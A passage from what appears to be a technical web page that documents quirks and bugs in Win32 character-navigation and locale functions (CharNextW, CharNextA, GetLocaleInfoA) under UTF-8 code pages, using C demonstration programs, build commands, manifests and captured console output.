built in
step 2. to demonstrate the (mis)behaviour:
.\quirk34.exe
19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextExA() enumerated 31 charactersOUCH¹: the
CharNextW()
function fails to detect
UTF-16
surrogate pairs
– it mistreats a space character (U+0020
)
followed by a high surrogate (U+D83D
,
U+D83C
), a low surrogate (U+DDEA
)
followed by a high surrogate (U+D83C
) as well as a lone
low surrogate (U+DE12
, U+DDFA
) as
one character!
Note: the surrogate pair U+D83D U+DE12
is the Unamused Face
emoticon 😒, and
the 2 surrogate pairs U+D83C U+DDEA U+D83C U+DDFA
are
the European Union Flag
emoji 🇪🇺, composed
according to the
ISO 3166
2-letter
country code
EU with
Regional Indicator Symbol Letter E
and
Regional Indicator Symbol Letter U
.
OUCH²: contrary to the highlighted statement
of the documentation cited above, the
CharNextExA()
function fails to handle
UTF-8
encoded multi-byte character strings at all – it mistreats
every single byte as a character!
Create the text file quirk34.xml
with the following
content next to the console application quirk34.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk34' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk34 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk34.xml
created in step 4. in the console
application quirk34.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk34.xml /OUTPUTRESOURCE:quirk34.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk34.exe
modified in
step 5. to demonstrate the (mis)behaviour:
VER .\quirk34.exe
Microsoft Windows [Version 10.0.22621.1105] 19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextA() enumerated 31 charactersOUCH³: contrary to the highlighted statement of the documentation cited above, the
CharNextA()
function fails to handle
UTF-8
encoded multi-byte character strings at all – it mistreats
every single byte as a character!
Build the console application quirk34.exe
a second
time from the source file quirk34.c
created in
step 1., now with the preprocessor macro QUIRKS
defined:
CL.EXE /DQUIRKS quirk34.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk34.c quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk34.exe quirk34.obj kernel32.lib user32.lib
Execute the console application quirk34.exe
built in
step 4. to demonstrate the misbehaviour
bugs:
.\quirk34.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
19 UTF-16 code units: FEFF 0020 DE12 D83D 0020 DDEA D83C DDFA D83C 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 1 code units at offset 1 2 code units at offset 2 1 code units at offset 4 2 code units at offset 5 2 code units at offset 7 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNext() enumerated 10 characters in 19 code units WideCharToMultiByte() returned error 1113 0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113) Error message text: No mapping for the Unicode character exists in the target multi-byte code page. CertUtil: -error command completed successfully.OUCH³: with high and low surrogates swapped, thus creating an invalid
UTF-16
character string, the
CharNextW()
function detects surrogate pairs– it was apparently written by an absolute beginner who probably sorted low surrogates (
U+DC00
to U+DFFF
) due to their higher
numerical value before high surrogates (U+D800
to
U+DBFF
) or was confused by Windows’
little endian byte-order which places low(er)-order bytes before
high(er)-order bytes, and obviously never tested!
CharPrevExA()
and
CharPrevW()
is left as an exercise to the reader.
Note: an exploration of the (mis)behaviour and
bugs with the Win32 functions
CharNextA()
and
CharPrevA()
when the system’s (global)
ANSI
and OEM
code pages are set to 65001 alias CP_UTF8
is also left
as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
Aforms of the Win32 functions:
As of Windows Version 1903 (May 2019 Update), you can use the ActiveCodePage property in the appxmanifest for packaged apps, or the fusion manifest for unpackaged apps, to force a process to use UTF-8 as the process code page.The Win32 function[…]
Win32 APIs often support both -A and -W variants.
-A variants recognize the ANSI code page configured on the system and support
char*
, while -W variants operate in UTF-16 and supportWCHAR
.Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
[…]
Note
CP_ACP
equates toCP_UTF8
only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend usingCP_UTF8
explicitly.
GetLocaleInfo()
is documented in the
MSDN as
follows:
Retrieves information about a locale specified by identifier.Oops: contrary to the highlighted note, in Windows 10 1903 and later versions the[…]
Note For global compatibility, the application should prefer the Unicode "W" API forms to the "A" forms. GetLocaleInfoA will limit the character data and could result in results that appear corrupted to users, particularly in globally enabled applications. For this API, GetLocaleInfoEx is preferred as it is Unicode and also supports modern locale name standards.[…]int GetLocaleInfo( LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData );
Locale
Locale Identifier for which to retrieve information. […]
LCType
The locale information to retrieve. For detailed definitions, see the LCType parameter of GetLocaleInfoEx.
lpLCData
Pointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0. For more information, see the Remarks section.
cchData
Size, in TCHAR values, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.
[…]
Remarks
For the operation of this function, see Remarks for GetLocaleInfoEx.
[…]
Aform of this function supports but Unicode too!
Unfortunately the Remarks
section is empty and refers to the
GetLocaleInfoEx()
function, which is documented in the
MSDN as
follows:
Retrieves information about a locale specified by name.Oops: this function supports Unicode but only in UTF-16LE encoding, not in UTF-8 encoding, as theNote The application should call this function in preference to GetLocaleInfo if designed to run only on Windows Vista and later.[…][…]int GetLocaleInfoEx( LPCWSTR lpLocaleName LCTYPE LCType, LPSTR lpLCData, int cchData );
lpLocaleName
Pointer to a locale name, or one of the following predefined values. […]
LCType
The locale information to retrieve. For possible values, see the "Constants Used in the LCType Parameter of GetLocaleInfo, GetLocaleInfoEx, and SetLocaleInfo" section in Locale Information Constants. […]
lpLCData
Pointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0.
cchData
Size, in characters, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.
[…]
GetLocaleInfoA()
function does in Windows 10 1903 and later versions!
The various
Locale Information Constants,
for example
LOCALE_SNATIVE*
,
are documented in the
MSDN as
follows:
Ouch: including a terminating
Value Meaning LOCALE_SNATIVECOUNTRYNAME Windows 7 and later: Native name of the country/region, for example, Españafor Spain. The maximum number of characters allowed for this string is 80, including a terminating null character.… … LOCALE_SNATIVEDIGITS Native equivalents of ASCII 0 through 9. The maximum number of characters allowed for this string is eleven, including a terminating null character. For example, Arabic uses ٠١٢٣٤٥٦٧٨٩. See also LOCALE_IDIGITSUBSTITUTION.… … LOCALE_SNATIVELANGUAGENAME Windows 7 and later: Native name of the language, for example, Հայերենfor Armenian (Armenia). The maximum number of characters allowed for this string is 80, including a terminating null character.
NUL
, the
UTF-8
encoded character string
u"٠١٢٣٤٥٦٧٨٩"
alias
"\xD9\xA0\xD9\xA1\xD9\xA2\xD9\xA3\xD9\xA4\xD9\xA5\xD9\xA6\xD9\xA7\xD9\xA8\xD9\xA9"
occupies but 21 instead of 11 characters, i.e. the second
highlighted statement of the documentation cited above is
definitely wrong!
Create the text file quirk35.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define ERROR_INVALID_LOCALE ERROR_INVALID_PARAMETER
#define LANG_MAX 0x01FF
#define SUBLANG_MAX 0x3F
#ifndef _WIN64
#pragma intrinsic(memcmp)
#else
#pragma function(memcmp)
int memcmp(char const *left, char const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
#endif
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwPrimary;
DWORD dwSubLang;
LCID lcLocale;
CHAR szANSI[11];
WCHAR szUnicode[11];
INT iInfo;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if ((GetACP() != CP_UTF8)
|| (GetOEMCP() != CP_UTF8))
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
if (GetLocaleInfoW(lcLocale,
LOCALE_SNATIVEDIGITS,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode)) == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
#if 0
if (wmemcmp(szUnicode, L"0123456789", sizeof("0123456789")) != 0)
#else
if (memcmp(szUnicode, L"0123456789", sizeof(L"0123456789")) != 0)
#endif
PrintConsole(hConsole,
L"0x%08lX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX\n",
lcLocale, szUnicode[0], szUnicode[1], szUnicode[2], szUnicode[3], szUnicode[4], szUnicode[5], szUnicode[6], szUnicode[7], szUnicode[8], szUnicode[9]);
if (GetLocaleInfoA(lcLocale,
LOCALE_SNATIVEDIGITS,
szANSI,
sizeof(szANSI)) == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
if (memcmp(szANSI, "0123456789", sizeof("0123456789")) != 0)
PrintConsole(hConsole,
L"0x%08lX %hs\n",
lcLocale, szANSI);
}
else
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
if (GetLocaleInfoA(lcLocale, LOCALE_ILANGUAGE, (LPSTR) NULL, 0) == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError, L"LOCALE_ILANGUAGE", lcLocale);
}
else
{
iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVECOUNTRYNAME, (LPSTR) NULL, 0);
if (iInfo == 0)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError = GetLastError(), L"LOCALE_SNATIVECOUNTRYNAME", lcLocale);
else if (iInfo > 80)
PrintConsole(hConsole,
L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
iInfo, L"LOCALE_SNATIVECOUNTRYNAME", lcLocale, 80);
iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVEDIGITS, (LPSTR) NULL, 0);
if (iInfo == 0)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError = GetLastError(), L"LOCALE_SNATIVEDIGITS", lcLocale);
else if (iInfo > 11)
PrintConsole(hConsole,
L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
iInfo, L"LOCALE_SNATIVEDIGITS", lcLocale, 11);
iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVELANGUAGENAME, (LPSTR) NULL, 0);
if (iInfo == 0)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError = GetLastError(), L"LOCALE_SNATIVELANGUAGENAME", lcLocale);
else if (iInfo > 80)
PrintConsole(hConsole,
L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
iInfo, L"LOCALE_SNATIVELANGUAGENAME", lcLocale, 80);
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
LOCALE_ALL
LOCALE_ALLOW_NEUTRAL
LOCALE_ALLOW_NEUTRAL_NAMES
LOCALE_ALTERNATE_SORTS
LOCALE_CUSTOM*
LOCALE_FONTSIGNATURE
LOCALE_ICALENDARTYPE
LOCALE_ICENTURY
LOCALE_ICOUNTRY
LOCALE_ICURRDIGITS
LOCALE_ICURRENCY
LOCALE_IDATE
LOCALE_IDAYLZERO
LOCALE_IDEFAULT*
LOCALE_IDIGITS
LOCALE_IDIGITSUBSTITUTION
LOCALE_IFIRSTDAYOFWEEK
LOCALE_IFIRSTWEEKOFYEAR
LOCALE_IGEOID
LOCALE_IINTLCURRDIGITS
LOCALE_ILANGUAGE
LOCALE_ILDATE
LOCALE_ILZERO
LOCALE_IMEASURE
LOCALE_IMONLZERO
LOCALE_INEG*
LOCALE_INEGATIVEPERCENT
LOCALE_INEUTRAL
LOCALE_INVARIANT
LOCALE_IOPTIONALCALENDAR
LOCALE_IPAPERSIZE
LOCALE_IPOSITIVEPERCENT
LOCALE_IPOS*
LOCALE_IREADINGLAYOUT
LOCALE_ITIME
LOCALE_ITIMEMARKPOSN
LOCALE_ITLZERO
LOCALE_NAME*
LOCALE_NEUTRAL
LOCALE_NEUTRALDATA
LOCALE_NOUSEROVERRIDE
LOCALE_REPLACEMENT
LOCALE_RETURN*
LOCALE_S1159
LOCALE_S2359
LOCALE_SABBREV*
LOCALE_SCONSOLEFALLBACKNAME
LOCALE_SCOUNTRY
LOCALE_SCURRENCY
LOCALE_SDATE
LOCALE_SDAYNAME*
LOCALE_SDECIMAL
LOCALE_SDURATION
LOCALE_SENG*
LOCALE_SENGLISH*
LOCALE_SGROUPING
LOCALE_SIETFLANGUAGE
LOCALE_SINTLSYMBOL
LOCALE_SISO*
LOCALE_SKEYBOARDSTOINSTALL
LOCALE_SLANGDISPLAYNAME
LOCALE_SLANGUAGE
LOCALE_SLIST
LOCALE_SLOCALIZED*
LOCALE_SLONGDATE
LOCALE_SMON*
LOCALE_SMONTHDAY
LOCALE_SMONTHNAME*
LOCALE_SNAME
LOCALE_SNAN
LOCALE_SNATIVE*
LOCALE_SNEGATIVESIGN
LOCALE_SNEGINFINITY
LOCALE_SOPENTYPELANGUAGETAG
LOCALE_SORTNAME
LOCALE_SPARENT
LOCALE_SPECIFICDATA
LOCALE_SPERCENT
LOCALE_SPERMILLE
LOCALE_SPOSINFINITY
LOCALE_SPOSITIVESIGN
LOCALE_SSCRIPTS
LOCALE_SSHORTDATE
LOCALE_SSHORTESTDAYNAME*
LOCALE_SSHORTTIME
LOCALE_SSORT*
LOCALE_STHOUSAND
LOCALE_STIME*
LOCALE_SUPPLEMENTAL
LOCALE_SYEARMONTH
LOCALE_SYSTEM_DEFAULT
LOCALE_USE_CP_ACP
LOCALE_USER_DEFAULT
LOCALE_WINDOWS
LOCALE_NAME_MAX_LENGTH
MAKELANGID
MAKELANGID
MAKELCID
Code Pages
Code Page Identifiers
Code Page Identifiers
EnumLocalesProcEx()
EnumSystemLocalesEx()
GetACP()
GetLocaleInfo()
GetOEMCP()
IsValidLocale()
IsValidLocaleName()
ResolveLocaleName()
SetLocaleInfo()
SetThreadLocale()
Build the console application quirk35.exe
from the
source file quirk35.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk35.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk35.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk35.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk35.exe quirk35.obj kernel32.lib user32.lib
Execute the console application quirk35.exe
built in
step 2. to demonstrate the (mis)behaviour:
VER .\quirk35.exe
Microsoft Windows [Version 6.1.7601]
0x000009FF U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x0000048C U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000463 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000463 ??????????
0x00000461 U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x00000461 ??????????
0x00000457 U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x00000457 ??????????
0x00000454 U+0ED0 U+0ED1 U+0ED2 U+0ED3 U+0ED4 U+0ED5 U+0ED6 U+0ED7 U+0ED8 U+0ED9
0x00000454 ??????????
0x00000453 U+17E0 U+17E1 U+17E2 U+17E3 U+17E4 U+17E5 U+17E6 U+17E7 U+17E8 U+17E9
0x00000453 ??????????
0x0000044F U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x0000044F ??????????
0x0000044E U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x0000044E ??????????
0x0000044D U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
0x0000044D ??????????
0x0000044C U+0D66 U+0D67 U+0D68 U+0D69 U+0D6A U+0D6B U+0D6C U+0D6D U+0D6E U+0D6F
0x0000044C ??????????
0x0000044B U+0CE6 U+0CE7 U+0CE8 U+0CE9 U+0CEA U+0CEB U+0CEC U+0CED U+0CEE U+0CEF
0x0000044B ??????????
0x0000044A U+0C66 U+0C67 U+0C68 U+0C69 U+0C6A U+0C6B U+0C6C U+0C6D U+0C6E U+0C6F
0x0000044A ??????????
0x00000449 U+0BE6 U+0BE7 U+0BE8 U+0BE9 U+0BEA U+0BEB U+0BEC U+0BED U+0BEE U+0BEF
0x00000449 ??????????
0x00000448 U+0B66 U+0B67 U+0B68 U+0B69 U+0B6A U+0B6B U+0B6C U+0B6D U+0B6E U+0B6F
0x00000448 ??????????
0x00000447 U+0AE6 U+0AE7 U+0AE8 U+0AE9 U+0AEA U+0AEB U+0AEC U+0AED U+0AEE U+0AEF
0x00000447 ??????????
0x00000446 U+0A66 U+0A67 U+0A68 U+0A69 U+0A6A U+0A6B U+0A6C U+0A6D U+0A6E U+0A6F
0x00000446 ??????????
0x00000845 U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
0x00000845 ??????????
0x00000445 U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
0x00000445 ??????????
0x00000429 U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9
0x00000429 ??????????
0x00000420 U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9
0x00000420 ??????????
0x0000041E U+0E50 U+0E51 U+0E52 U+0E53 U+0E54 U+0E55 U+0E56 U+0E57 U+0E58 U+0E59
0x0000041E ðñòóôõö÷øù
0x00004001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
NLSWeb
NLSWeb
NLSWeb
OUCH: instead of digits the
GetLocaleInfoA()
function yields the characters '\xF0'
to '\xF9'
for
LOCALE_SNATIVEDIGITS
with the
Locale Identifier
0x0000041E
alias
MAKELCID(MAKELANGID(LANG_THAI, SUBLANG_THAI_THAILAND), SORT_DEFAULT)
!
Ouch: while the
GetLocaleInfoW()
function yields the Arabic numerals
٠١٢٣٤٥٦٧٨٩
alias U+0660
,
U+0661
,
U+0662
,
U+0663
,
U+0664
,
U+0665
,
U+0666
,
U+0667
,
U+0668
and
U+0669
for
LOCALE_SNATIVEDIGITS
with most Arabic
Locale Identifiers
0x000???01
alias
MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_ARABIC_*), SORT_*)
as well as 0x00000463
alias
MAKELCID(MAKELANGID(LANG_PASHTO, SUBLANG_PASHTO_AFGHANISTAN), SORT_*)
,
0x0000048C
alias
MAKELCID(MAKELANGID(LANG_DARI, SUBLANG_DARI_AFGHANISTAN), SORT_*)
and the
Pseudo-Locale
0x000009FF
, the
GetLocaleInfoA()
function but yields the
ANSI
ASCII
digits 0123456789
!
Oops: neither the simplified Chinese numerals
〇一二三四五六七八九
nor the traditional Chinese numerals
零一二三四五六七八九
are returned for LOCALE_SNATIVEDIGITS
with the Chinese
Locale Identifiers
0x000???04
alias
MAKELCID(MAKELANGID(LANG_CHINESE, SUBLANG_CHINESE_*), SORT_*)
.
Note: the Extended Arabic-Indic numerals ۰۱۲۳۴۵۶۷۸۹, the Bengali numerals ০১২৩৪৫৬৭৮৯, the Devanagari numerals ०१२३४५६७८९, the Guarati numerals ૦૧૨૩૪૫૬૭૮૯, the Gurmukhi numerals ੦੧੨੩੪੫੬੭੮੯, the Kannada numerals ೦೧೨೩೪೫೬೭೮೯, the Khmer numerals ០១២៣៤៥៦៧៨៩, the Lao numerals ໐໑໒໓໔໕໖໗໘໙, the Malayalam numerals ൦൧൨൩൪൫൬൭൮൯, the Oriya numerals ୦୧୨୩୪୫୬୭୮୯, the Tamil numerals ௦௧௨௩௪௫௬௭௮௯, the Telugu numerals ౦౧౨౩౪౫౬౭౮౯ and the Thai numerals ๐๑๒๓๔๕๖๗๘๙ are supported, but neither the Tibetan numerals ༠༡༢༣༤༥༦༧༨༩ nor the Mongolian numerals ᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙.
Note: the output of substitution characters
?
is expected normal behaviour!
Create the text file quirk35.xml
with the following
content next to the console application quirk35.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk35' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk35 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk35.xml
created in step 4. in the console
application quirk35.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk35.xml /OUTPUTRESOURCE:quirk35.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk35.exe
modified in
step 5. to demonstrate the (mis)behaviour:
VER .\quirk35.exe
